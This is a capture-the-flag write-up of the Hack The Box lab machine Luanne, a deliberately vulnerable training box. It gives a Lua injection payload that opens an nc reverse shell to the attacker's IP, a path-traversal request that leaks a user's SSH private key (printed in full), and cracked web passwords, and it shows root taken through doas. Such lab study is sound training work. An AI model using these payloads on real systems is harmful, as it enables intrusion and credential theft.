Home Hack The Box Write-Up Luanne - 10.10.10.218
Post
Cancel

Hack The Box Write-Up Luanne - 10.10.10.218

Rest satisfied with doing well, and leave others to talk of you as they will.

Pythagoras

About Luanne

In this post, I’m writing a write-up for the machine Luanne from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills

Luanne is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.

Author Notes

This is the first box for 2021, so all the best wishes for 2021! In the month of December 2020, I had no time for Hack The Box machines. I was participating in an Advent of CTF competition, you can read the write-up from the Advent of CTF competition here.

Foothold

After the port scan, we can discover three open ports. The first port is 22/tcp (SSH), the second port is 80/tcp and the last one is 9001/tcp. We started the enumeration on the HTTP-port and visited the website, there is directly an authentication box visible and the enumeration stops here for now. After reading the robots.txt, we can found the /weather directory and through fuzzing with ffuf, we have found the /weather/forecast directory. After playing with the web application, we managed to do a lua code injection to do Remote Code Execution (RCE) for establishing a reverse shell to our machine.

User

After walking through the files we have found a password hash, and after cracking this hash, we are able to do some authentication against the web application through 3000/tcp on the local machine. Through this port with curl we have managed to read the id_rsa file from the user account r.michaels. After establishing an SSH-session as r.michaels we are able to grab the user flag.

Root

From the home directory, we are able to read an encrypted archive. With netpgp we can decrypt this archive and read a password hash from the contents. After decrypting this hash we are left with the root password. Through the sudo alternative doas we are able to read the root flag.

Machine Info

Machine Name: Luanne
Difficulty: Easy
Points: 20
Release Date: 28 Nov 2020
IP: 10.10.10.218
Creator: polarbearer

Recon

Port scan with Nmap

As always we start this machine with enumerating the open ports.

1
~$ nmap -sC -sV -oA ./nmap/10.10.10.218 10.10.10.218

The results of the port scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Starting Nmap 7.90SVN ( https://nmap.org ) at 2021-01-09 14:47 CET
Nmap scan report for 10.10.10.218
Host is up (0.039s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80/tcp   open  http    nginx 1.19.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=.
| http-robots.txt: 1 disallowed entry 
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open  http    Medusa httpd 1.12 (Supervisor process manager)
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.58 seconds 

We got three open ports. The first port is 22/tcp (SSH). It’s running OpenSSH 8.0. The second port is the default HTTP port 80/tcp. What we can notice is that there is a robots.txt file present, which has on disallowed entry /weather. The third port is 9001/tcp. This port is quite interesting, there is running a Supervisor Process Manager service behind this port. I already know that back in April 2020, there was a vulnerability found in version 1.12. Supervisor is a process control system developed by python, a tool for managing background services, similar to the Systemd program that comes with Linux.

Enumeration

Enumeration Web Server

Let’s explore the gates from top to bottom to see what we can find and if we can find a foothold to the network. We skip the SSH port. We visited this URL http://10.10.10.218.

Hack-The-Box-Luanne-WebServer

At this moment we do not have any credentials. I’ve tried some default credentials, like username admin and password admin and so forth, but nothing happens. No extra error messages or something. From the port scan, we know that there is a robots.txt file present, with information. Let’s read the contents of this file.

1
2
3
~$ curl http://10.10.10.218/robots.txt
User-agent: *
Disallow: /weather  #returning 404 but still harvesting cities 

A request with curl is indeed resulting in an HTTP 404 error.

1
2
3
4
5
6
7
8
curl http://10.10.10.218/weather
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.19.0</center>
</body>
</html> 

What is the comment but still harvesting cities meaning? Let’s start the directory brute-forcer ffuf.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
~$ ffuf -c -w ../../wordlists/dirbuster/directory-list-2.3-big.txt -u http://10.10.10.218/weather/FUZZ
 

         /'___\  /'___\           /'___\       
        /\ \__/ /\ \__/  __  __  /\ \__/       
        \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
         \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
          \ \_\   \ \_\  \ \____/  \ \_\       
           \/_/    \/_/   \/___/    \/_/       
 

        v1.2.0-git
 ________________________________________________
 

  :: Method           : GET
  :: URL              : http://10.10.10.218/weather/FUZZ
  :: Wordlist         : FUZZ: ../../wordlists/dirbuster/directory-list-2.3-big.txt
  :: Follow redirects : false
  :: Calibration      : false
  :: Timeout          : 10
  :: Threads          : 40
  :: Matcher          : Response status: 200,204,301,302,307,401,403
 ________________________________________________
 

 forecast                [Status: 200, Size: 90, Words: 12, Lines: 2]
 :: Progress: [52254/1273833] :: Job [1/1] :: 383 req/sec :: Duration: [0:03:46] :: Errors: 0 :: 

After testing some rounds, we got hold of the wordlist directory-list-2.3-big.txt.

Intrusion

Remote Code Execution (RCE)

Let’s give the founded directory /forecast to curl.

1
2
~$ curl http://10.10.10.218/weather/forecast
 {"code": 200, "message": "No city specified. Use 'city=list' to list available cities."} 

This is an interesting message. We need to define a city to get more information. Let’s use Burp Suite from this point and try to find out if we can get some information from this machine. After trying some payloads, with this payload we see an error message as the response.

1
2
3
4
5
6
7
8
9
10
GET /weather/forecast?city=list HTTP/1.1
Host: 10.10.10.218
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 11

The response contains several names of cities.

1
2
3
4
5
6
7
HTTP/1.1 200 Ok
Server: nginx/1.19.0
Date: Sat, 09 Jan 2021 15:02:18 GMT
Content-Type: application/json
Connection: close
Content-Length: 173
{"code": 200,"cities":["London","Manchester","Birmingham","Leeds","Glasgow","Southampton","Liverpool","Newcastle","Nottingham","Sheffield","Bristol","Belfast","Leicester"]}

By modifying the request by replacing the word list for one of the cities, we can get the weather forecast. We have checked all of the cities, and none of them is giving interesting information back, we only get a weather forecast back. Let’s try to replace the name of the city with a single quote ('). The full request will be GET /weather/forecast?city=list HTTP/1.1. We are getting back an error message.

1
2
3
4
5
6
7
8
HTTP/1.1 500 Error
Server: nginx/1.19.0
Date: Sat, 09 Jan 2021 15:13:30 GMT
Content-Type: application/json
Connection: close
Content-Length: 77
 
Lua error: /usr/local/webapi/weather.lua:49: attempt to call a nil value

This error message is very interesting and makes the web application vulnerable to Remote Code Execution (RCE). The value of the parameter city is being passed to the file weather.lua, and then this file is being executed. If we can find a way to break out of this script, which can lead to RCE.

After some time of development, we have this payload for the reverse shell.

1
http://10.10.10.218/weather/forecast=city=London');os.execute("rm /tmp/f;mkfifo /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4444 >/tmp/f")

After trying this payload through Burp Suite, the payload needs some modifications and after developing it further we got a working payload. It has taken me some time to figure out why the payload wasn’t working in the first place. After replacing the spaces with %20 and the &1 character for %261. But last not least, I have to add two dashes to the end of the payload --. This is known from an SQL injection, that everything that comes after it can be seen as a comment. The rest of the script is therefore not executed. With my reverse shell listener the connection comes in and we have a shell on this machine after a successful code injection.

1
2
3
4
5
6
7
8
9
GET /weather/forecast?city=London');os.execute("rm%20/tmp/f;mkfifo%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.7%204444%20>/tmp/f")-- HTTP/1.1
Host: 10.10.10.218
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

Reverse shell as _httpd

We have a reverse shell as the user _httpd. Let’s enumerate from this point and find information for our next step.

1
2
3
4
5
Listening on any address 4444 (krb524)
Connection from 10.10.10.218:65364
sh: can't access tty; job control turned off
$ whoami
_httpd 

There is the home directory visible for the user account /home/r.michaels. We do not have permission to access this account, from our current user account. We also do not have the privileges to download linpeas.sh to the machine. This means we have to do the enumeration manually. Let’s first find out what we have in our current working directory /var/www.

We got luck! There is a file /var/www/.htpasswd here, and it contains a username and password.

1
2
3
4
$ pwd
/var/www
$ cat .htpasswd
webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0 

After cracking this md5crypt hash with john, we got this password: iamthebest. Tried to use these credentials to switch to the user account r.michaels, but that’s not working. On further enumeration, I found that this box is also listening on port 3000/tcp and 3001/tcp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ netstat -ano
Active Internet connections (including servers)                         
 Proto Recv-Q Send-Q  Local Address          Foreign Address        State
 tcp        0      0  10.10.10.218.65335     10.10.14.7.4444        ESTABLISHED
 tcp        0      0  127.0.0.1.3000         127.0.0.1.65336        ESTABLISHED
 tcp        0      0  127.0.0.1.65336        127.0.0.1.3000         ESTABLISHED
 tcp        0      0  10.10.10.218.80        10.10.14.7.51264       ESTABLISHED
 tcp        0      0  10.10.10.218.65340     10.10.14.7.4444        CLOSE_WAIT 
 tcp        0      0  127.0.0.1.3000         127.0.0.1.65341        CLOSE_WAIT 
 tcp        0      0  10.10.10.218.65350     10.10.14.7.4444        ESTABLISHED
 tcp        0      0  127.0.0.1.3000         127.0.0.1.65351        CLOSE_WAIT 
 tcp        0      0  127.0.0.1.3000         127.0.0.1.65361        CLOSE_WAIT
 tcp        0      0  10.10.10.218.65364     10.10.14.7.4444        CLOSE_WAIT
 tcp        0      0  127.0.0.1.3000         127.0.0.1.65365        CLOSE_WAIT
 tcp        0      0  10.10.10.218.65376     10.10.14.7.4444        CLOSE_WAIT
 tcp        0      0  127.0.0.1.3000         127.0.0.1.65377        CLOSE_WAIT
 tcp        0      0  127.0.0.1.3000         *.*                    LISTEN
 tcp        0      0  127.0.0.1.3001         *.*                    LISTEN 

With curl I can authenticate on both of the ports with the curl command below.

1
~$ curl localhost:<port> --user webapi_user:iamthebest 

I get the same response back as the website has given em after the authentication.

SSH access as r.michaels

After trying some time, I came to mind to get the Private Key for SSH from the user account r.michaels. After some developing on the payload, I’ve grabbed the private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
~$ curl localhost:3001/../../../~r.michaels/id_rsa --user webapi_user:iamthebest 

   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current                                                                                                          
                                  Dload  Upload   Total   Spent    Left  Speed 
 100  2610  100  2610    0     0   637k      0 --:--:-- --:--:-- --:--:--  637k
 -----BEGIN OPENSSH PRIVATE KEY-----                                     
 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
 -----END OPENSSH PRIVATE KEY----- 

I’ve placed this key in the file id_rsa, and started an SSH session as the user r.michaels and I’ve directly grabbed the flag.

1
2
3
4
5
6
7
8
9
10
11
12
~$ chmod 600 id_rsa
~$  ssh -i id_rsa [email protected]
 Last login: Fri Sep 18 07:06:51 2020
 NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
 

 Welcome to NetBSD!
 

 luanne$ cat user.txt
 ea5f0ce6a917b0be1eabc7f9218febc0
 luanne$  

Privilege Escalation

Enumeration

Let’s start with enumerating to gain root privileges on this machine. In the home directory of the user account, r.michaels there is an encrypted gunzip file /backups/devel_backup-2020-09-16.tar.gz.enc. Let’s download this file to my machine.

1
2
~$  scp -i id_rsa [email protected]:/home/r.michaels/backups
devel_backup-2020-09-16.tar.gz.enc                        100% 1970    43.0KB/s   00:00 

We need to find a way to read the contents of this encrypted archive. I tried to decrypt this archive on my local machine but it’s not gonna work, there is a key or password needed for decryption, which we do not have at this moment. Maybe the encryption key is still in memory of the machine or somewhere else?

After some searching and asking around, we got the information about netpgp. This is a NetBSD project for encrypting and decrypting files. This program is on this machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
luanne$ which netpgp
/usr/bin/netpgp
luanne$ netpgp
NetPGP portable 3.99.17/[20101103]
All bug reports, praise and chocolate, please, to:
Alistair Crooks <[email protected]> c0596823
Usage: netpgp COMMAND OPTIONS:
netpgp  --help OR
        --encrypt [--output=file] [options] files... OR
        --decrypt [--output=file] [options] files... OR
 

        --sign [--armor] [--detach] [--hash=alg] [--output=file]
                [options] files... OR
        --verify [options] files... OR
        --cat [--output=file] [options] files... OR
       --clearsign [--output=file] [options] files... OR
        --list-packets [options] OR
        --version
where options are:
        [--cipher=<ciphername>] AND/OR
        [--coredumps] AND/OR
        [--homedir=<homedir>] AND/OR
        [--keyring=<keyring>] AND/OR
        [--numtries=<attempts>] AND/OR
        [--userid=<userid>] AND/OR
        [--maxmemalloc=<number of bytes>] AND/OR
        [--verbose] 

Decrypting archive file

Let’s give it a try to decrypt the archive. After some trying, we managed to decrypt the archive with the command below. First, we’ve tried to put the decrypted file in the same directory as the encrypted file, but we do not have the privileges to write files in the current directory.

1
2
3
4
luanne$ netpgp --decrypt devel_backup-2020-09-16.tar.gz.enc --output=/tmp/devel_backup-2020-09-16.tar.gz
signature  2048/RSA (Encrypt or Sign) 3684eb1e5ded454a 2020-09-14 
Key fingerprint: 027a 3243 0691 2e46 0c29 9f46 3684 eb1e 5ded 454a 
uid              RSA 2048-bit key <r.michaels@localhost> 

Well, as we can see, we have permission denied on the file devel_backup-2020-09-16.tar.gz.enc.gpg. NetBSD does not support sudo. We need to find the equivalent for this distribution. The next step is downloading this archive to our machine and read the contents.

1
2
3
4
5
6
7
8
9
~$ scp -i id_rsa [email protected]:/tmp/devel_backup-2020-09-16.tar.gz .
devel_backup-2020-09-16.tar.gz        100% 1639    36.9KB/s   00:00 
~$ sudo tar -xvf devel_backup-2020-09-16.tar.gz
x devel-2020-09-16/
x devel-2020-09-16/www/
x devel-2020-09-16/webapi/
x devel-2020-09-16/webapi/weather.lua
x devel-2020-09-16/www/index.html
x devel-2020-09-16/www/.htpasswd 

Let’s check the file contents. In the .htpasswd we can find again a hash. After cracking this hash with john we got left with the password: littlebear.

1
2
3
4
5
~$ cd ../www/
~$ ls
.htpasswd       index.html
~$ cat .htpasswd 
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu. 

own Luanne

We have now a password. We can check if we can jump to a privileges user account like root with this password. As this NetBSD installation doesn’t have sudo, we can use the alternative doas to read the root flag with the founded password.

1
2
3
luanne$ doas -u root cat root.txt
Password:
7a9b5c206e8e8ba09bb99bd113675f66 

And, we have rooted our first box in 2021! It was a CTF-like machine. It was full of rabbit holes, but unlike many others, we were not jumped into any rabbit holes this time. First, I thought that we have to do something with the Supervisor Process Manager, but in the end, we have even not touched that piece of software.

Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!

Happy Hacking :-)

This post is licensed under CC BY 4.0 by the author.